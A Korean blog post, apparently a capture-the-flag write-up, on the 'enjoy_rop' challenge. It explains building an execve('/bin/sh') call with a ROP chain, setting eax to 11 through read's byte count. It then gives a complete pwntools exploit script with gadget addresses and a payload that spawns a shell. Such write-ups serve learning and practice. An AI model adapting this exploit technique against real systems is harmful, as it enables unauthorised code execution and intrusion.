본문 바로가기
시스템 해킹/cykor

enjoy_rop-ROP+SROP

by sonysame 2018. 1. 6.

SROP+ROP-enjoy_rop


SROP문제!

문제는 아주 간단하다.


sys_read를 매우 길게 받는다.

execve를 호출하기 위해서는

eax를 11로 만들고, ecx와 edx는 널바이트로 채우고, ebx에는 /bin/sh문자열의 주소가 들어가야 한다.

문제에서 스택의 주소를 주기 때문에, read를 받을 때, /bin/sh\x00을 주고 그 주소를 알아낼 수 있다.


pop eax라는 가젯이 없으므로, eax는 read로 받아들이는 byte로 바꿔준다.

하지만, return address를 덮어야 하므로, 11만큼 read하면 return address를 덮을 수 없다.


따라서, 다시 앞으로 돌리는 작업이 필요하다. 처음에는 /bin/sh만 넣어주고 뒤쪽에 가젯들을 넣어준다음에

다시 돌아왔을 때는 read를 이용해 eax를 11로 맞춰준다.


주어진 가젯은 pop edx; pop ecx; ret 가젯으로 edx와 ecx를 널바이트로 만들 때 사용했다.


from pwn import *

import time

int80=0x080483f9

read=0x080483fb

gg=0x080483db

pebxr=0x08048496


s=process('./enjoy_rop')

#raw_input()

a=s.recv(1024)[0:4]

sh=u32(a)+4

print(hex(sh))


payload=""

payload+="/bin/sh\x00"

payload+="a"*(32-len(payload))

payload+=p32(sh+0x200) #for valid ebp

payload+=p32(read) #return to read


payload+="b"*(512-len(payload))

payload+=p32(sh+0x100) #for valid ebp

payload+=p32(gg) #go to pop edx; pop ecx; ret;

payload+=p32(0) #to make edx=0

payload+=p32(0) #to make ecx=0

payload+=p32(pebxr) #go to pop ebx; ret

payload+=p32(sh) #to make ebx=/bin/sh

payload+=p32(int80)

s.send(payload+'\n')


payload2=""

payload2+="c"*11 #to make eax=11

s.send(payload2)


s.interactive()

s.close()




'시스템 해킹 > cykor' 카테고리의 다른 글

start_hard-64비트 SROP, 브루트포스  (0) 2018.01.09
scv-64비트, C++, ROP, 카나리릭, libc릭  (0) 2018.01.06
rop2-ROP+SROP  (0) 2018.01.05
rop1-ROP+SROP  (0) 2018.01.02
2015410212-64비트 쉘코드, 간단한 xor  (0) 2018.01.02